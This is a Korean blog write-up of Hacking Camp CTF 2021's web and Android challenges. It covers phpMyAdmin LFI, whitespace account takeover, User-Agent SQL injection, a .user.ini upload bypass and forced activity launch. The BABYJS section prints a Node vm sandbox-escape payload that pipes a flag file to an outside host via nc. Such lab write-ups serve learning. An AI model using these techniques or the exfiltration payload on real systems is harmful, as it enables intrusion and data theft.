wargame

Hacking Camp CTF 2021 write up

LimeLee 2021. 8. 18. 14:08

web, mobile만

 

1. World Wide Web

World Wide Web

플래그 경로는 /tmp/flag 에 있습니다.

이미지 한 장만 있는 페이지
소스코드에서 phpMyAdmin 확인

 

phpMyAdmin 로그인 페이지

 

소스코드에서 사용자 계정 확인
phpMyAdmin 접속
권한이 없어 SQL 쿼리를 이용해서는 flag 값을 못 봄. root 사용자의 비밀번호 크랙인가도 싶었음.

 

구글링

 

https://steemit.com/kr/@huti/phpmyadmin-local-file-inclusion-cve-2018-12613

 

phpmyadmin Local File Inclusion 취약점(CVE-2018-12613) 재분석 — Steemit

악의적인 사용을 금합니다. 법적 책임은 본인에게 있습니다. 무단 도용/복제를 급합니다. 본 글의 저작권은 huti에게 있습니다. URL에 파일 경로를 포함하면, 사용자가 웹서버에 있는 파일을 열람

steemit.com

phpMyAdmin에서 target 파라미터로 전달되는 값에 대해 유효성 검사를 하고 있으나 이를 우회하여 임의의 파일을 LFI하는 취약점 

플래그 탈취

 

2. TOP SECRET

해킹캠프 23회를 위해 참가자들을 환영하는 페이지를 만들었어요 ~_~
그런데 누군가 관리자 계정을 탈취하였고 이를 통해 디페이스 공격을하여 페이지를 변경시켜버렸어요 ㅠ_ㅠ
홈페이지에 해커가 남긴 문구를 통해 해커의 계정을 찾고 접속하여 숨겨진 메시지를 볼 수 있나요?

로그인/회원가입 기능

 

로그인 시 공격자의 계정 확인

 

main.py

from flask import Flask, render_template, redirect, url_for, session, request, current_app, Blueprint
from flask_wtf.csrf import CSRFError
from hashlib import sha512
from topsecret.models import db, Users
from datetime import datetime

main = Blueprint('main', __name__, url_prefix='/')

@main.errorhandler(CSRFError)
def handle_csrf_error(e):
   return render_template("error/csrf.html")

@main.errorhandler(404)
def page_not_found(e):
    return render_template("error/404.html"), 404

@main.route('', methods=["GET","POST"])
def index_page():
    if "user" in session:
        return redirect(url_for("page.main_page"))

    if request.method == "GET":
        return render_template("index.html")

    if request.method == "POST":
        username = request.form.get('username')
        password = request.form.get('password')
        hash_pw = sha512(password.encode()).hexdigest()

        result = Users.query.filter_by(username=username, password=hash_pw).first()

        if result:
            session['user'] = username
            return redirect(url_for("page.main_page"))
        else:
            return '<script>alert("아이디 또는 비밀번호가 올바르지 않습니다"); history.go(-1); </script>'

@main.route('register', methods=["GET","POST"])
def register_page():
    if "user" in session:
        return redirect(url_for("page.main_page"))
    
    if request.method == "GET":
        return render_template("register.html")

    if request.method == "POST":
        username = request.form.get('username')
        password = request.form.get('password')
        email = request.form.get('email')
        hash_pw = sha512(password.encode()).hexdigest()
        ip = request.remote_addr

        chk_username = Users.query.filter_by(username=username).first()
        chk_email = Users.query.filter_by(email=email).first()

        if chk_username:
            return '<script>alert("이미 존재하는 사용자입니다."); history.go(-1); </script>'

        if chk_email:
            return '<script>alert("이미 존재하는 이메일입니다."); history.go(-1); </script>'

        result = Users(username=username, password=hash_pw, email=email, is_admin=0, create_time=datetime.now(), save_ip=ip)

        if result:
            db.session.add(result)
            db.session.commit()
            db.session.close()
            return redirect(url_for("main.index_page"))
        else:
            return '<script>alert("Error"); history.go(-1); </script>'

 

page.py

import re
from flask import Flask, render_template, redirect, url_for, session, request, Blueprint
from flask_wtf.csrf import CSRFError
from hashlib import sha512
from topsecret.models import db, Users

FLAG = "HCAMP{fake!!}"

page = Blueprint('page', __name__, url_prefix='/')

@page.route('page', methods=["GET"])
def main_page():
    if "user" in session:
        if session['user'] == "hackingcamp":
            return render_template("page.html", FLAG=FLAG)
        else:
            return render_template("page.html")
    else:
        return "<script>alert('로그인이 필요한 서비스입니다.'); location.href='/'; </script>"

@page.route('page/myinfo', methods=['GET', 'POST'])
def myinfo_page():
    if "user" in session:
        if request.method == "GET":
            print(session['user'])
            return render_template("mypage.html")
        else:
            new_password = request.form.get("new_pass")
            repeat_password = request.form.get("repeat_pass")

            if(new_password == repeat_password):
                chk_user = Users.query.filter_by(username=session['user'].strip()).first_or_404()

                if(chk_user):
                    chk_user.password = sha512(new_password.encode()).hexdigest()
                    db.session.commit()
                    session.clear()
                    return '<script>alert("비밀번호 변경이 완료되었네요~"); location.href="/"; </script>'
            else:
                return '<script>alert("입력한 비밀번호가 서로 다릅니다."); history.go(-1); </script>'
    else:
        return "<script>alert('로그인이 필요한 서비스입니다.'); location.href='/'; </script>"

@page.route('page/logout', methods=["GET"])
def index_page():
    if "user" in session:
        session.clear()
        return redirect(url_for("main.index_page"))
    else:
        return "<script>alert('로그인이 필요한 서비스입니다.'); location.href='/'; </script>"

 

로그인, 회원가입, 비밀번호 변경 기능 중 비밀번호 변경 기능만 공백을 제거함.

chk_user = Users.query.filter_by(username=session['user'].strip()).first_or_404()

공백이 들어간 "&nbsp; &nbsp; hackingcamp&nbsp; " 계정 생성

 

공백 확인

 

"&nbsp; &nbsp; hackingcamp&nbsp; " 계정으로 로그인

 

비밀번호 변경

 

변경된 비밀번호로 해커 계정에 로그인 시도

 

 

3. 해킹 멈춰!!

저희 공장 서버가 해킹을 당했습니다 ㅠㅠ
들어가면 봇이 탐지되었다며 접근이 안돼요
원래 정말 봇을 탐지하려고 만들었던 기능인데 아마 해커가 서버 코드를 조작한 것 같습니다.

돈이 없어서 데이터베이스도, 웹서버도 다 하나로 관리하다보니 아무것도 할수가 없어요 ㅠㅠ
부디 도와주세요!
관리자 로그인페이지에서 사용가능한 비밀번호는 `djenadls~?` 입니다!

User-Agent가 공격 포인트라는 것을 알려주는 힌트
더블쿼터 구분자 확인
봇을 탐지하는 서비스인데 결과가 있으면 오히려 우회가 됨
로그인 시도

 

어림도 없지! 그리고 DB에 있다고 힌트 알려줌

 

union 시도 컬럼 1개 확인
information_schema 안됨
sqlite_master로 테이블, 컬럼 확인

bot
+---------------------------+-----------------------------------+
| name                      | user_agent                        |
+---------------------------+-----------------------------------+
| Super Hacking Camp Bot    | super hacking camp bot v0.0.0;    |
+---------------------------+-----------------------------------+

user
+----+------------------------------------------------------------------+
| no | pw                                                               |
+----+------------------------------------------------------------------+
| 1  | ef3232c6b47a7a1ded1481a123b309b1a5c731d578418edf5211aff3cd1876fe |
+----+------------------------------------------------------------------+

white_list
+----+-------------+
| no | ip          |
+----+-------------+
| 1  | 19.98.12.18 |
+----+-------------+

 

XFF로 우회
플래그 탈취

 

 

4. BABYJS

Executing Javascript!
http://ctf-hackingcamp.com:40082/

 

const vm = require('vm');
const path = require("path");
const express = require('express');
const pug = require('pug');

const app = express()

app.set('views', path.join(__dirname, 'views'));
app.set('view engine', 'pug');

app.get('/', function(req, res, next){
    let msg = '';
    const code = req.query.code + '';

    if(code){
        try {
            const result = vm.runInNewContext(`'use strict'; ${code}`, {}, { timeout: 100 });
            if(result && code){
                msg = "nice try!";
            }
        } catch(e) {
            msg = "err";
        }
    } else {
            msg = "err";
    }
    res.render("index", {"title": "Hello BABYJS", msg});
});

module.exports = app;

증적 남기려니 접속이 안됨..

 

문제 출제자가 작성한 글. 페이로드도 같음.

https://blog.jhyeon.dev/2021/03/08/nodejs-vmescape/

 

Node.JS VM Module Sandbox Escape Research

[1] Node.JSNode.JS는 네트워크 애플리케이션(서버 사이드) 개발에 사용되는 소프트웨어 플랫폼입니다. Javascript 언어를 사용하며, Non-blocking I/O와 단일 스레드 이벤트 루프를 사용하여 높은 처리 성능

blog.jhyeon.dev

const process = this.constructor.constructor('return this.process')(); 
process.mainModule.require('child_process').execSync('cat flag_2s_h@re | nc my.ser.ver.ip 8989').toString()

결과를 출력하는 부분이 없으므로 리버스 커넥션을 해야함.

 

 

5. File Manager

누구나 파일을 업로드하여 공개할 수 있는 사이트를 만들었어요! 100% 무료입니다!
플래그는 /tmp/flag 에 있습니다.

 

php코드를 삽입한 이미지 파일 업로드
업로드 완료

 

php 확장자로 업로드 시도
어림도 없지
근데 유심히 봐야할 건 php 코드를 지우면
업로드가 됨
그리고 pass가 같으면 업로드 디렉터리가 동일함

증적은 따로 안했지만 디렉터리 인덱싱을 시도하려고 하면 nginx의 서버 버전 정보가 나온다.

 

지금까지의 힌트

1. nginx

2. 업로드 디렉토리가 일정함

3. php 확장자는 업로드 되나 내용을 확인함

4. 이미지 확장자는 php 코드를 삽입할 수 있으나 실행할 수 없음

를 이용해 플래그 탈취가 가능함.

 

.user.ini, php파일, png파일 총 3번의 업로드를 필요로 함.

auto_prepend_file 옵션
php 코드가 있는 png 확장자 파일
빈 php 확장자 파일
빈 php 확장자 파일 접근 시 플래그 파일 탈취 가능

 

https://hu3sky.github.io/2019/08/21/%E8%B0%88.user.ini%E5%90%8E%E9%97%A8/

 

.user.ini后门 · Hu3sky's blog

Word count: 506 / Reading time: 2 min  2019/08/21   Share     

hu3sky.github.io

 

.user.ini 파일이 저장된 디렉터리 내 임의의 파일로 접근하게 되면 auto_append_file, auto_prepend_file 옵션으로 지정된 파일을 자동으로 require()함수를 사용한 것과 동일하게 동작함

 

6. Basic Android

해킹캠프에서 안드로이드 기초를 알아가 보자!
안드로이드 앱 취약점 진단할 때 가장 먼저 보는 부분이자 개발자들이 많이 실수하는 부분을 찾고
안드로이드 구조를 익히고 flag를 찾아내자!

플래그는 3조각으로 나뉘어져 있음

 

first flag  

MainActivity, onClick, Log &gt; 앱 실행 후 버튼 클릭하면 로그가 남음
안드로이드 단말기 연결 후 adb logcat
flag 버튼 클릭
firist flag 확인

second flag

apktool 디컴파일 후 리소스 파일 내 second flag 확인

 

third flag

SecretActivity, onClick &gt; 호출되지 않는 화면에 버튼 클릭 시 플래그가 출력됨&nbsp;

 

액티비티 강제 호출이 가능함
adb 를 이용해 액티비티 강제 호출

 

third flag 확인